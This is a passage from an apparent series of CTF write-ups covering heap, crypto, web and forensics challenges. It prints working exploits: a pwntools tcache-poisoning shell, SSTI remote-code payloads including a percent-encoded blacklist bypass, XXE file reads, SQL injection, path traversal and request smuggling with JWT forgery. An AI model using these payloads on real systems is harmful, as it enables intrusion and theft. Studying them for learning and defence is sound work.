delete(2)                     # Goes to unsorted bin
data = show(2)                # UAF read - leaks main_arena pointer

The unsorted bin fd/bk pointers point to main_arena+96 in libc.

2. Tcache Poisoning

Poison tcache to allocate a chunk at __free_hook:

add(4, 0x40, b'E' * 0x3f)
add(5, 0x40, b'F' * 0x3f)
delete(4)                     # tcache[0x50]: chunk4
delete(5)                     # tcache[0x50]: chunk5 -> chunk4

edit(5, p64(free_hook))       # UAF write - poison fd to __free_hook
                              # tcache[0x50]: chunk5 -> __free_hook

add(6, 0x40, b'/bin/sh\x00')  # Returns chunk5
add(7, 0x40, p64(system))     # Returns __free_hook, write system addr

3. Trigger Shell

delete(6)  # free(chunk6) -> system("/bin/sh")

Exploit Code

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

# Libc 2.31-0ubuntu9.17 offsets
libc_system = 0x52290
libc_free_hook = 0x1eee48

def main():
    p = remote('ctf.nexus-security.club', 2808)

    # Setup chunks
    add(p, 0, 0x80, b'A' * 0x7f)
    add(p, 1, 0x80, b'B' * 0x7f)
    delete(p, 0)

    # Leak libc via unsorted bin
    add(p, 2, 0x420, b'C' * 0x41f)
    add(p, 3, 0x20, b'D' * 0x1f)
    delete(p, 2)

    data = show(p, 2)
    leak = u64(data[:8].ljust(8, b'\x00'))
    libc_base = leak - 0x1ecbe0
    log.info(f"Libc base: {hex(libc_base)}")

    system = libc_base + libc_system
    free_hook = libc_base + libc_free_hook

    # Tcache poisoning
    add(p, 4, 0x40, b'E' * 0x3f)
    add(p, 5, 0x40, b'F' * 0x3f)
    delete(p, 4)
    delete(p, 5)

    edit(p, 5, p64(free_hook))
    add(p, 6, 0x40, b'/bin/sh\x00')
    add(p, 7, 0x40, p64(system))

    # Trigger shell
    delete(p, 6)

    p.interactive()

if __name__ == '__main__':
    main()

Key Takeaways

Always NULL pointers after free - The missing notes[idx] = NULL led to UAF
Unsorted bin leaks libc - Large freed chunks have fd/bk pointing to main_arena
Tcache poisoning - In GLIBC 2.31, tcache fd can be overwritten to get arbitrary allocation
__free_hook - Classic target for code execution (removed in GLIBC 2.34+)

Flag

nexus{h3ap_u4f_t0_tcache_p0is0ning_is_fun}

Secure Storage

Sat, 25 Jan 2025 00:00:00 GMT

The challenge presents a "Secure Storage" web application that allows users to upload and download files. The files are encrypted using XOR encryption with a session-specific key.

Initial Analysis

Key observations from analyzing main.go:

File Upload/Download System: Users can upload files which are encrypted with XOR before storage
Session Management: Each session gets a unique encryption key (64 bytes) stored in SQLite database
Encryption: Files are XOR encrypted with the session key using xorCopy() function
File Paths: Upload uses filepath.Join() with sanitization, but download uses path.Join()

Vulnerability: Path Traversal

The critical vulnerability is in the handleDownload function:

fileName := r.PathValue("file")
filePath := path.Join(dir, fileName)

The Bug:

The download handler uses path.Join() instead of filepath.Join()
path.Join() is designed for URL paths, not filesystem paths
URL-encoded path traversal sequences like ..%2F are NOT cleaned by the Go HTTP router
After URL decoding, ..%2F becomes ../ which allows directory traversal

Exploitation Strategy

The path traversal allows reading arbitrary files, but there's a catch:

The flag is located at /flag.txt
When downloading ANY file, it gets XOR encrypted with the session key
Downloaded flag = plaintext_flag XOR key
We need the XOR key to decrypt the flag!

Getting the Encryption Key

Download the Go binary at /app/main using path traversal
The binary is a known ELF format with predictable header bytes
Build the same binary locally to get the exact plaintext
XOR the downloaded (encrypted) binary with local binary to extract the key: key = encrypted_binary XOR known_plaintext_binary
Use the extracted key to decrypt the flag

Exploitation Steps

Step 1: Download Encrypted Flag

curl "http://target/download/..%2F..%2F..%2F..%2Fflag.txt" \
  -b "sid=YOUR_SESSION_COOKIE"

Step 2: Download the Binary to Extract Key

curl "http://target/download/..%2F..%2F..%2F..%2Fapp%2Fmain" \
  -b "sid=YOUR_SESSION_COOKIE" \
  -o main_encrypted

Step 3: Build Local Binary

go build -o main_local main.go

Step 4: Extract the 64-byte XOR Key

#!/usr/bin/env python3

with open('main_encrypted', 'rb') as f:
    encrypted_binary = f.read()

with open('main_local', 'rb') as f:
    local_binary = f.read()

# Extract 64-byte key by XORing first 64 bytes
key = bytearray(64)
for i in range(64):
    key[i] = encrypted_binary[i] ^ local_binary[i]

print(f"Key: {key.hex()}")

Step 5: Decrypt the Flag

#!/usr/bin/env python3

key = bytes.fromhex("3e1169a2c4f80a4c...")  # extracted key
encrypted_flag = bytes.fromhex("507411d7b783667f...")  # from step 1

flag = bytearray()
for i in range(len(encrypted_flag)):
    flag.append(encrypted_flag[i] ^ key[i % 64])

print(flag.decode())

Root Cause Analysis

Incorrect Path Function: Using path.Join() (URL paths) instead of filepath.Join() (filesystem paths)
Missing Input Validation: No sanitization on the fileName parameter in download handler
Inconsistent Security: Upload properly sanitizes with filepath.Base(), but download doesn't

Key Takeaways

Path vs Filepath: Go's path package is for URLs, filepath is for filesystem paths
Known Plaintext Attacks: XOR encryption is vulnerable when attackers can access both ciphertext and plaintext
Defense in Depth: Multiple controls prevent exploitation

Flag

nexus{l34k_7h3_k3y_br34k7h3_c1ph3r}

Addition 2

Wed, 22 Jan 2025 00:00:00 GMT

330 pts

Challenge Setup

Flag Setup: The flag is left-shifted by 256 bits (F)
Modulus: Standard 2048-bit RSA modulus N
Encryption: m = F + r (where r is random 256-bit), returns c = (F + r)^3 mod N

Vulnerability Analysis

Key observation about sizes:

Flag (F) is ~2^832
Random padding (r) is small: 2^256
Modulus (N) is 2^2048
Exponent e = 3

With scramble=0: C = (F + r)^3 mod N

Since (F+r)^3 ~ 2^2496 and r is very small compared to F, the integer quotient k (how many times it wraps around N) remains constant for all messages!

Linearization Attack

Taking two ciphertexts C1 and C2 with random nonces r1 and r2:

DC = C1 - C2 = (F+r1)^3 - (F+r2)^3 ~ 3F^2(r1 - r2)

The difference between ciphertexts is linearly proportional to the difference between nonces!

Attack Strategy

Collect Samples: Request 3 ciphertexts with scramble=0
Calculate Differences:
- D1 = C1 - C2 ~ 3F^2(r1 - r2)
- D2 = C2 - C3 ~ 3F^2(r2 - r3)
Eliminate Unknown: D1/D2 ~ (r1 - r2)/(r2 - r3)
Recover Nonces: Use Continued Fractions on D1/D2 to find integer nonce differences
Solve for Flag: Slope = D1/Dr ~ 3F^2, then F ~ sqrt(Slope/3)

Solution Script

from pwn import *
from Crypto.Util.number import long_to_bytes
import math

def get_rational_approximation(num, den):
    convergents = []
    x_num, x_den = abs(num), abs(den)
    p_2, q_2 = 0, 1
    p_1, q_1 = 1, 0

    while x_den != 0:
        a = x_num // x_den
        p = a * p_1 + p_2
        q = a * q_1 + q_2
        if q.bit_length() > 265:
            break
        convergents.append((p, q))
        x_num, x_den = x_den, x_num % x_den
        p_2, q_2 = p_1, q_1
        p_1, q_1 = p, q
    return convergents[-1] if convergents else (0, 1)

r = remote('amt.rs', 45157)
# Parse n,e and collect 3 samples...
# ... (connection code)

diffs = [ciphertexts[i+1] - ciphertexts[i] for i in range(2)]
dr1, dr2 = get_rational_approximation(diffs[0], diffs[1])
slope = abs(diffs[0]) // abs(dr1)
F = math.isqrt(slope // 3)
flag_int = F >> 256
print(long_to_bytes(flag_int).decode())

Flag

amateursCTF{n0_th3_fl4g_1s_n0T_th3_Same_1f_y0U_w3r3_w0ndeRing_533e72a10}

Addition

Wed, 22 Jan 2025 00:00:00 GMT

it does addition

330 pts / 17 solves

Challenge Overview

The server provides RSA with e=3 and an additive relation between encryptions:

The secret flag is encoded as an integer F
The server computes: c_s = (F + s)^3 mod n
We control s

This matches the Franklin-Reiter related-message attack on RSA with e=3.

Crypto Background: Franklin-Reiter (e = 3)

For two related plaintexts:

C1 = M^3 mod n
C2 = (M + S)^3 mod n

With known S, there's a closed-form solution:

M = S * (2C1 + C2 - S^3) * (C2 - C1 + 2S^3)^-1 (mod n)

Attack Plan

Query with s=0 - candidates for C1
Query with s=1 - candidates for C2
Brute-force all (c1, c2) pairs
For each candidate m, check if pow(m, 3, n) == c1
If valid, extract the flag from m

Exploit Script

from pwn import *
from Crypto.Util.number import inverse, long_to_bytes
import ast

def solve_franklin_reiter(c1, c2, s, n):
    try:
        num = s * (2 * c1 + c2 - s**3)
        den = c2 - c1 + 2 * s**3
        den_inv = inverse(den, n)
        return (num * den_inv) % n
    except ValueError:
        return None

r = remote('amt.rs', 42963)
line = r.recvline().decode().strip()
n, e = ast.literal_eval(line.split('=')[1].strip())

c_zeroes, c_ones = [], []
for _ in range(400):
    r.sendlineafter(b'scramble the flag: ', b'0')
    r.recvline()
    c_zeroes.append(int(r.recvline().decode().split('=')[1]))

    r.sendlineafter(b'scramble the flag: ', b'1')
    r.recvline()
    c_ones.append(int(r.recvline().decode().split('=')[1]))

r.close()

for c1 in c_zeroes:
    for c2 in c_ones:
        m = solve_franklin_reiter(c1, c2, 1, n)
        if m and pow(m, 3, n) == c1:
            flag_long = m >> 256
            print(long_to_bytes(flag_long, 72).rstrip(b'\x00').decode())
            exit()

Flag

amateursCTF{1_h0p3_you_didnT_qU3ry_Th3_s3RVer_100k_tim3s_1b9490c255fe83}

Snake

Wed, 22 Jan 2025 00:00:00 GMT

lets play some snake

309 pts / 20 solves

Step 1: Connect

nc amt.rs 34411

Step 2: Register an Account

When prompted, type register and press Enter.
The system will give you a UID (e.g., 9457385429662). Copy this number.
For the Password, type pass and press Enter.

You are now logged in as a normal user. We need to log out first to perform the injection.

Step 3: Log Out

Type settings and press Enter.
Type logout and press Enter.

Step 4: Malicious Login (The Injection)

This is the critical part. We use the backslash \ to trick the system into accepting spaces in the UID variable.

Type login and press Enter.
At the UID: prompt, do exactly this:
- Type your UID followed by a space and a backslash: [YOUR_UID] \
- Press Enter.
- Type this exact payload: pass data/d;1d;data/#
- Press Enter.

Example Input

UID: 9457385429662 \
pass data/d;1d;data/#

Result

The injection bypasses the authentication and reveals the flag!

Flag

amateursCTF{y0u_ar3_th3_r3al_w1nn3r_0f_sn4k3}

Pipeline

Mon, 20 Jan 2025 00:00:00 GMT

Challenge Overview

The challenge presents a Node.js application with three main components:

A reverse proxy that filters dangerous requests
A main application with protected endpoints
An internal JWKS server

The goal is to obtain a flag from /admin/flag, which requires admin authentication.

Architecture

┌─────────────────┐
│   Port 8082     │
│  Reverse Proxy  │  ← External access
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   Port 3000     │
│  Main App       │  ← Internal only
│  - /admin/flag  │
│  - /debug/fetch │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   Port 5000     │
│  JWKS Server    │  ← Localhost only
└─────────────────┘

Vulnerabilities Identified

1. HTTP Request Pipelining

The proxy's parseHeaders() function only parses the first request but forwards the entire buffer to the backend. We can smuggle requests!

2. JWT Algorithm Confusion

The app accepts both RS256 (asymmetric) and HS256 (symmetric). The HMAC secret is the n field from JWKS:

const hmacSecret = (data.keys[0].n || '').toString();

3. SSRF via /debug/fetch

Can read internal services like the JWKS server on port 5000.

Exploitation Chain

Step 1: Bypass Proxy with HTTP Pipelining

# First request: Harmless, passes proxy check
request1 = "GET / HTTP/1.1\r\nHost: app\r\n\r\n"

# Second request: Smuggled /debug request
request2 = "GET /debug/fetch?url=http://localhost:5000/.well-known/jwks.json HTTP/1.1\r\nHost: app\r\nX-Forwarded-For: 127.0.0.1\r\n\r\n"

# Send both in one packet
sock.sendall((request1 + request2).encode())

Step 2: Extract JWKS via SSRF

The smuggled request fetches the JWKS, revealing the HMAC secret in the n field.

Step 3: Forge Admin JWT

import jwt
payload = {'role': 'admin', 'user': 'attacker'}
token = jwt.encode(payload, 'secret-from-jwks-n-field', algorithm='HS256')

Step 4: Retrieve the Flag

Pipeline another request with the forged JWT to /admin/flag.

Flag

AKASEC{MzAha_MN_Qb1lA_9ad_H4d_xi}

Summary

The proxy only validates the FIRST request in a pipelined sequence
But it forwards ALL requests to the backend
Extract HMAC secret from JWKS endpoint via SSRF
Forge HS256 JWT with role=admin
Pipeline again with forged JWT to get the flag!

Shredder

Sat, 18 Jan 2025 00:00:00 GMT

Always remember to shred your documents before throwing them out! In case you don't have a document shredder, you can use mine! I even attached an example shredded document to show that it's impossible to recover the original!

379 pts / 55 solves

Initial Analysis

We were given a C source file shredder.c and a shredded file document.png.shredded.

Reading the C code revealed the shredding algorithm:

Reads an input file (the original PNG)
Divides it into N equal chunks
Randomly shuffles these chunks using rand()
Writes them sequentially into a new file (*.shredded)

The file still contains all the original data, just in the wrong order!

Solution Strategy

PNG files have a strict internal structure with CRCs that can be validated. The plan:

Try every reasonable number of chunks (from 2 to 50)
Split the shredded file evenly
Identify the chunk that starts with the PNG header
Recursively build possible orders using DFS
Validate each combination using PNG CRCs to prune incorrect paths
Stop once a valid PNG ending in IEND is found

Reconstructor Script

#!/usr/bin/env python3
import sys
import zlib

PNG_SIG = b'\x89PNG\r\n\x1a\n'
MAX_N = 50

def parse_png_chunks(bs):
    pos = 8  # after signature
    while pos + 8 <= len(bs):
        length = int.from_bytes(bs[pos:pos+4], 'big')
        ctype = bs[pos+4:pos+8]
        total = 4 + 4 + length + 4
        if pos + total > len(bs):
            raise ValueError("truncated chunk")
        data = bs[pos+8:pos+8+length]
        crc_read = int.from_bytes(bs[pos+8+length:pos+8+length+4], 'big')
        crc_calc = zlib.crc32(ctype + data) & 0xffffffff
        if crc_calc != crc_read:
            raise ValueError("CRC mismatch")
        pos += total
        if ctype == b'IEND':
            return True
    raise ValueError("no IEND found")

def check_partial_png(bs):
    if not bs.startswith(PNG_SIG):
        return False
    pos = 8
    while True:
        if pos + 8 > len(bs):
            return True
        length = int.from_bytes(bs[pos:pos+4], 'big')
        ctype = bs[pos+4:pos+8]
        total = 4 + 4 + length + 4
        if pos + total > len(bs):
            return True
        data = bs[pos+8:pos+8+length]
        crc_read = int.from_bytes(bs[pos+8+length:pos+8+length+4], 'big')
        crc_calc = zlib.crc32(ctype + data) & 0xffffffff
        if crc_calc != crc_read:
            return False
        pos += total
        if ctype == b'IEND':
            return pos == len(bs)

def dfs(chunks, used, order, n):
    if len(order) == n:
        candidate = b''.join(chunks[i] for i in order)
        try:
            parse_png_chunks(candidate)
            return candidate
        except:
            return None

    prefix = b''.join(chunks[i] for i in order)
    if not check_partial_png(prefix):
        return None

    for i in range(n):
        if used[i]:
            continue
        used[i] = True
        order.append(i)
        result = dfs(chunks, used, order, n)
        if result:
            return result
        order.pop()
        used[i] = False
    return None

def main():
    fname = sys.argv[1]
    data = open(fname, 'rb').read()
    fsize = len(data)
    print(f"File size: {fsize} bytes")

    for n in range(2, MAX_N+1):
        if fsize % n != 0:
            continue
        chunk_size = fsize // n
        chunks = [data[i*chunk_size:(i+1)*chunk_size] for i in range(n)]
        start_candidates = [i for i, c in enumerate(chunks) if c.startswith(PNG_SIG)]
        for start in start_candidates:
            used = [False]*n
            used[start] = True
            order = [start]
            print(f"Trying n={n}, start={start}...")
            result = dfs(chunks, used, order, n)
            if result:
                with open("recovered.png", "wb") as f:
                    f.write(result)
                print("SUCCESS: Reconstructed image saved as recovered.png")
                return
    print("Failed to reconstruct")

if __name__ == '__main__':
    main()

Result

$ python3 recover_png.py document.png.shredded
SUCCESS: recovered PNG written to recovered.png

Opening the recovered image revealed the Ohio flag with the flag text printed across it.

Flag

bctf{TODO_shr3d_th1s_1MM3D1AT3LY}

We Go Gym

Wed, 15 Jan 2025 00:00:00 GMT

Our gym IT staff noticed some weird traffic going through on our local network. Do you think you can investigate and find out what information was sent?

Initial Analysis

We are provided with a PCAP file (wegogym.pcap). Opening the file in Wireshark or analyzing it with Scapy reveals a mix of TCP traffic, specifically HTTP requests.

A quick look at the HTTP traffic shows two distinct patterns:

Noise Traffic: Multiple requests for files like noise16.txt, noise40.txt, etc. The User-Agent for these is a standard Mozilla Linux string.
Suspicious Traffic: Repeated requests for the root path / sent to sequential ports (40000, 40001, 40002...). The User-Agent for these requests is simply CURL.

The prompt mentions "User-Age," which is a pun on User-Agent and Age (Time). In networking, the only field related to "Time" or "Age" at the IP layer is TTL (Time To Live).

The Anomaly

Filtering for the suspicious CURL packets reveals that the IP TTL values are erratic.

Normal traffic usually has a constant TTL (e.g., 64, 128) that decrements by 1 per hop.
In this capture, the TTLs for the CURL packets jump wildly (e.g., 80, 67, 84, 70...).

This confirms the existence of a Covert Channel: The attacker is manually setting the TTL field of each packet to an ASCII value to hide data.

Solution Strategy

Filter: Isolate packets that have the User-Agent: CURL.
Extract: Read the IP TTL value from these packets.
Decode: Convert the integer TTL values to ASCII characters (chr(ttl)).
Assemble: Join the characters to reveal the flag.

Python Solution Script

This script uses scapy to parse the PCAP, filter for the specific User-Agent, and decode the TTLs.

from scapy.all import rdpcap, IP, TCP, Raw

def solve_wegogym(pcap_file):
    print(f"[*] Analyzing {pcap_file}...")
    try:
        packets = rdpcap(pcap_file)
    except Exception as e:
        print(f"[!] Error reading pcap: {e}")
        return

    # Sort packets by time to ensure the flag is in order
    packets.sort(key=lambda x: x.time)

    flag_chars = []

    for p in packets:
        # We need IP (for TTL), TCP (for ports), and Raw (for HTTP payload)
        if p.haslayer(IP) and p.haslayer(TCP) and p.haslayer(Raw):
            try:
                payload = p[Raw].load.decode('utf-8', errors='ignore')

                # Filter for the suspicious "CURL" User-Agent
                if "User-Agent: CURL" in payload:
                    ttl_val = p[IP].ttl
                    char = chr(ttl_val)
                    flag_chars.append(char)
            except Exception as e:
                pass

    flag = "".join(flag_chars)
    print(f"\n[+] Flag Found: {flag}")

if __name__ == "__main__":
    solve_wegogym("wegogym.pcap")

Execution Output

[*] Analyzing wegogym.pcap...

[+] Flag Found: PCTF{t1m3_t0_g37_5w01}

Flag

PCTF{t1m3_t0_g37_5w01}

Lessons Learned

TTL fields can be used as covert channels to exfiltrate data
Always look for anomalies in packet headers, not just payloads
Scapy is an excellent tool for packet analysis and extraction
Challenge names and descriptions often contain hints about the solution

AirSpeed

Sun, 12 Jan 2025 00:00:00 GMT

Challenge Overview

This challenge provided us with a Flask web application setup including docker-compose.yml, nginx.conf, and application source code. The goal is to find and read the flag from the server.

Initial Reconnaissance

Analyzing the Nginx Configuration

location = /debug {
    deny all;
    return 403;
}

The /debug endpoint is blocked at the nginx level.

Source Code Review

The app uses the airspeed template engine (Python implementation of Apache Velocity).

@app.route('/debug', methods=['POST'])
def debug():
    name = request.json.get('name', 'World')
    return airspeed.Template(f"Hello, {name}").merge({})

User input is directly embedded into the template string - classic SSTI vulnerability!

Vulnerability Analysis

The Access Control Issue

Nginx layer: Blocks /debug endpoint -> Returns 403
Flask layer: Has no restrictions on /debug

Finding the HTTP Parsing Discrepancy

Testing various byte values revealed that byte \x85 creates a parsing discrepancy:

Nginx perspective: /debug\x85 != /debug -> Allows through
Flask perspective: /debug\x85 = /debug -> Routes to debug endpoint

Exploitation

Server-Side Template Injection (SSTI)

Payload test: #set( $foo = 7*7 )\n$foo

HTTP/1.1 200 OK
Hello, 49

Achieving RCE

The jinja2.utils.Cycler class gives access to os.popen() through __init__.__globals__:

{
    "name": "#set($x='')\n#set($cycler=$x.__class__.__mro__[1].__subclasses__()[479])\n#set($init=$cycler.__init__)\n#set($globals=$init.__globals__)\n#set($os=$globals.os)\n#set($popen=$os.popen('/readflag'))\n$popen.read()"
}

Flag

QnQSec{n0w_th1s_1s_th3_r34l_f14g}

Key Takeaways

HTTP parsing discrepancies between different web servers can create bypass opportunities
Access controls should be implemented at multiple layers
Never directly embed user input into template strings

Easy Web

Sun, 12 Jan 2025 00:00:00 GMT

Reconnaissance

Analyzing the Dockerfile

RUN mkdir -p /app/.hidden && \
    mv /app/flag.txt /app/.hidden/flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1).txt

The flag is in /app/.hidden/ with a randomized filename. We can use wildcards: /app/.hidden/flag*

Exploring the Web Application

Found a /profile endpoint with a uid parameter. Testing uid=1 returns a user, uid=2 returns "not found".

Finding the Admin User

I wrote a Python script to enumerate UIDs:

for uid in range(1, 10000):
    response = requests.get(f'/profile?uid={uid}')
    if 'admin' in response.text.lower():
        print(f'Admin found with uid {uid}')
        break

Result: Admin found with uid 1337

The Admin Portal

The admin portal at /profile?uid=1337 has a link to an admin command interface with an input field (default: whoami) that outputs nobody.

This looks like command execution! However, trying to change commands returns "Access denied" because the form changes the UID to 2.

Exploitation - IDOR

The vulnerability is clear:

The admin portal checks if uid has admin privileges
But the uid parameter is client-controlled via the URL
We can manually set uid=1337 to bypass the check!

Final Exploit URL

/admin?uid=1337&cmd=cat%20/app/.hidden/flag*

Flag

QnQSec{I_f0und_th1s_1day_wh3n_I_am_using_sch00l_0j}

Mandatory RSA

Sun, 12 Jan 2025 00:00:00 GMT

Challenge Description

We are given RSA parameters: n (a large modulus), e (a large public exponent), and c (the ciphertext).

The hint explicitly references "Size of the D", which points to a small private exponent attack (Wiener's attack).

Analysis

In RSA, the private exponent d satisfies: ed = 1 (mod phi(n))
Normally, d is large, but if d < (1/3)n^0.25, Wiener's attack can recover it efficiently.
The attack uses continued fractions of e/n to find convergents that approximate k/d.
Once d is recovered, decryption is straightforward: m = c^d mod n

Exploit Steps

Parse the given n, e, c
Run Wiener's attack to recover d
Decrypt the ciphertext: m = c^d mod n
Convert the integer m back into bytes to reveal the flag

Solver Script

import math

n = 30610867131545893573245403370929044810375908252345734515216335567761070674235240557970829245356614030481955825874376565524126172250295479286829004996105122106474627414932278394880727207687247106535964451736524423676062227917939094755601312619938974463767105253817030590414646900543888347805544511989816392901347341338737906837896070023751031260815782973250734600300683094949304509692321753534435264794596296780586539085130232106649876660029506699244567866816756904364396378546670735017278059889632347338673055259053699246622809620909022329749464060132071464884484682112534813343645706384624586841979729464134335809829
e = 13118943056376811531390887158969590633018246393862457649378429529040458860386531667701783962295691727349409639660447099510339788107269491122926716426902195188489126034970976454948883089008820188515413336458510467289740954821973897752400562551402417627328759394493013110177705814518809291916661933709921311243284600780240090861401353930215487292827235572235250164436683130292475464090785626013810206032736933354696930489144983575446495078404329829091193678240029445525658582548485531996972340914370823232033916046942293331266006647674886928834212203547468218609381456317192256524737280398698305720035095438106008915543
c = 18491889164810617543569456750416875989184817880137548014973592642069416208831086398288449741333647958301433206462225905089767171227296166302076329585813204145393998300807912284373441125769784091235480355305999860836226228064817001671079683866140595167104080925862489688205706558563994071054217252661751197090938128540101902284587959897970686920835999487758527543265902558413502613239565915919268373782402562042295965144636399280059309987259722405692758942811072888497222424752062745376152606372092707679048892146955016482797824514120865462676167840311292744307891590740707933408465096337716317714272609074408402855672

def is_perfect_square(x):
    r = int(math.isqrt(x))
    return r*r == x, r

def continued_fraction(a, b):
    q = []
    while b:
        q.append(a // b)
        a, b = b, a % b
    return q

def convergents_from_cf(cf):
    num1, num2 = 1, cf[0]
    den1, den2 = 0, 1
    yield (cf[0], 1)
    for k in cf[1:]:
        num = k*num2 + num1
        den = k*den2 + den1
        yield (num, den)
        num1, num2 = num2, num
        den1, den2 = den2, den

def wiener_attack(e, n):
    cf = continued_fraction(e, n)
    for (k, d) in convergents_from_cf(cf):
        if k == 0:
            continue
        phi_num = e*d - 1
        if phi_num % k != 0:
            continue
        phi = phi_num // k
        s = n - phi + 1
        D = s*s - 4*n
        is_sq, r = is_perfect_square(D)
        if not is_sq:
            continue
        p = (s + r) // 2
        q = (s - r) // 2
        if p*q == n and p > 1 and q > 1:
            return d, p, q
    return None

res = wiener_attack(e, n)
if not res:
    print("Wiener attack failed.")
else:
    d, p, q = res
    print("Recovered d:", d)
    m = pow(c, d, n)
    flag = m.to_bytes((m.bit_length() + 7)//8, 'big')
    print("Flag:", flag)

Output

Recovered d: 7
Flag: b'QnQSec{I_l0v3_Wi3n3r5_@nD_i_l0v3_Nut5!!!!}'

Flag

QnQSec{I_l0v3_Wi3n3r5_@nD_i_l0v3_Nut5!!!!}

s3cr3ct_w3b revenge

Sun, 12 Jan 2025 00:00:00 GMT

"I have hidden secret in this web can you find out the secret?"

We are given a small PHP web application with a login page and an XML viewer. The Dockerfile hints that a flag.txt file is copied into the container.

Recon & Source Review

Login (login.php) - SQL Injection

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

No escaping, no prepared statements -> vulnerable to SQL Injection.

API (api.php) - XXE

$dom->resolveExternals = true;
$dom->substituteEntities = true;
$dom->loadXML($xml, LIBXML_DTDLOAD | LIBXML_NOENT);
echo $dom->saveXML();

Vulnerable to XXE (XML External Entity) injection.

Dockerfile

COPY flag.txt /var/flags/flag.txt

Flag is at /var/flags/flag.txt.

Step 1 - Authentication Bypass (SQLi)

Using a simple payload in the username field:

' OR '1'='1' #

The query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1' # ' AND password = 'x'

This always returns a row, setting $_SESSION['logged_in'] = true. We are now authenticated.

Step 2 - XXE Exploitation

The XML parser expands external entities. We craft a malicious XML to read local files:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///var/flags/flag.txt">
]>
<root>&xxe;</root>

Step 3 - Extracting the Flag

Send a POST request to /api with the XML content and the flag appears in the response.

Flag

QnQSec{R3v3ng3_15_sw33t_wh3ne_d0n3_r1ght}

Conclusion

Vulnerability 1: SQL Injection in login -> session bypass
Vulnerability 2: XXE in XML parser -> arbitrary file read
Flag Path: /var/flags/flag.txt

5571 (SSTI)

Fri, 10 Jan 2025 00:00:00 GMT

Challenge Summary

The backend attempts to sanitize user input by blocking specific "dangerous" literals:

BLOCKED_LITERALS = [
  '{', '}', '__', 'open', 'os', 'subprocess', 'import', 'eval', 'exec',
  'system', 'popen', 'builtins', 'globals', 'locals', 'getattr', 'setattr',
  'class', 'compile', 'inspect'
]

The page is vulnerable to SSTI. The objective is to bypass the blacklist and execute a Jinja2 payload to read the flag file.

Key Idea: Percent-Encoding to Evade Blacklist

The blacklist is applied on the raw input before decoding.
By percent-encoding the entire payload (including braces, dots, underscores, quotes, etc.), we hide the literal characters from the blacklist.
When the server decodes the request and then renders the template, the payload executes.

Working Payload

Raw payload:

{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}

Fully percent-encoded:

%7B%7B%63%6F%6E%66%69%67%2E%5F%5F%63%6C%61%73%73%5F%5F%2E%5F%5F%69%6E%69%74%5F%5F%2E%5F%5F%67%6C%6F%62%61%6C%73%5F%5F%5B%27%6F%73%27%5D%2E%70%6F%70%65%6E%28%27%63%61%74%20%66%6C%61%67%2E%74%78%74%27%29%2E%72%65%61%64%28%29%7D%7D

Why This Bypass Works

Blacklists are fragile, especially when applied before decoding.
Encoding the entire payload prevents the literal tokens from matching blacklist checks.
After decoding occurs later in the request/templating pipeline, the payload is restored and evaluated.

Flag

v1t{55T1_byp4ss_w1th_3nc0d1ng}

Login Page

Fri, 10 Jan 2025 00:00:00 GMT

Challenge Description

We're given an HTML login page with client-side JavaScript authentication using SHA-256 hashes.

Source Code Analysis

Looking at the HTML source, we find the authentication logic:

<script>
    async function toHex(buffer) {
      const bytes = new Uint8Array(buffer);
      let hex = '';
      for (let i = 0; i < bytes.length; i++) {
        hex += bytes[i].toString(16).padStart(2, '0');
      }
      return hex;
    }

    async function sha256Hex(str) {
      const enc = new TextEncoder();
      const data = enc.encode(str);
      const digest = await crypto.subtle.digest('SHA-256', data);
      return toHex(digest);
    }

    (async () => {
      // Target hashes
      const ajnsdjkamsf = 'ba773c013e5c07e8831bdb2f1cee06f349ea1da550ef4766f5e7f7ec842d836e';
      const lanfffiewnu = '48d2a5bbcf422ccd1b69e2a82fb90bafb52384953e77e304bef856084be052b6';

      const username = prompt('Enter username:');
      const password = prompt('Enter password:');

      const uHash = await sha256Hex(username);
      const pHash = await sha256Hex(password);

      if (timingSafeEqualHex(uHash, ajnsdjkamsf) &&
          timingSafeEqualHex(pHash, lanfffiewnu)) {
        alert(username+ '{'+password+'}');
      } else {
        alert('Invalid credentials');
      }
    })();
</script>

Solution

The authentication compares SHA-256 hashes of the username and password against hardcoded values. We need to crack these hashes:

Username hash: ba773c013e5c07e8831bdb2f1cee06f349ea1da550ef4766f5e7f7ec842d836e
Password hash: 48d2a5bbcf422ccd1b69e2a82fb90bafb52384953e77e304bef856084be052b6

Using CrackStation

Running these hashes through CrackStation or hashcat:

ba773c01... -> v1t
48d2a5bb... -> p4ssw0rd

Flag

The flag format is username{password}:

v1t{p4ssw0rd}

Lessons Learned

Never do authentication client-side with hardcoded hashes
Common passwords are easily cracked via rainbow tables
CrackStation and similar services can quickly reverse weak hashes

Lost Some Binary

Fri, 10 Jan 2025 00:00:00 GMT

Challenge

A long sequence of 8-bit binary bytes is given:

01001000 01101001 01101001 01101001 00100000 01101101 01100001 01101110 ...

When converted directly to ASCII (byte -> char), it prints a readable message:

Hiii man,how r u ?Is it :))))Rawr-^^[] LSB{><}!LSBLSB---v1t {135900_13370}

Key hints inside:

LSB{><}! and repeated LSB strongly suggest Least Significant Bit steganography.
The v1t {135900_13370} at the end looks decoy-ish, nudging you away from the plain ASCII.

Solution

Interpret each 8-bit byte, take its least significant bit (rightmost bit), concatenate all LSBs into a bitstring, then re-slice into 8-bit groups and convert back to ASCII.

Python Extractor

#!/usr/bin/env python3
binary_data = """01001000 01101001 01101001 01101001 00100000 01101101 01100001 01101110 00101100 01101000 01101111 01110111 00100000 01110010 00100000 01110101 00100000 00111111 01001001 01110011 00100000 01101001 01110100 00100000 00111010 00101001 00101001 00101001 00101001 01010010 01100001 01110111 01110010 00101101 01011110 01011110 01011011 01011101 00100000 00100000 01001100 01010011 01000010 01111011 00111110 00111100 01111101 00100001 01001100 01010011 01000010 01111110 01111110 01001100 01010011 01000010 01111110 01111110 00101101 00101101 00101101 01110110 00110001 01110100 00100000 00100000 01111011 00110001 00110011 00110101 00111001 00110000 00110000 01011111 00110001 00110011 00110011 00110111 00110000 01111101"""

# Split into bytes and take the last bit of each byte
bytes_list = binary_data.split()
lsb_bits = ''.join(b[-1] for b in bytes_list)

# Group into 8 and convert to characters
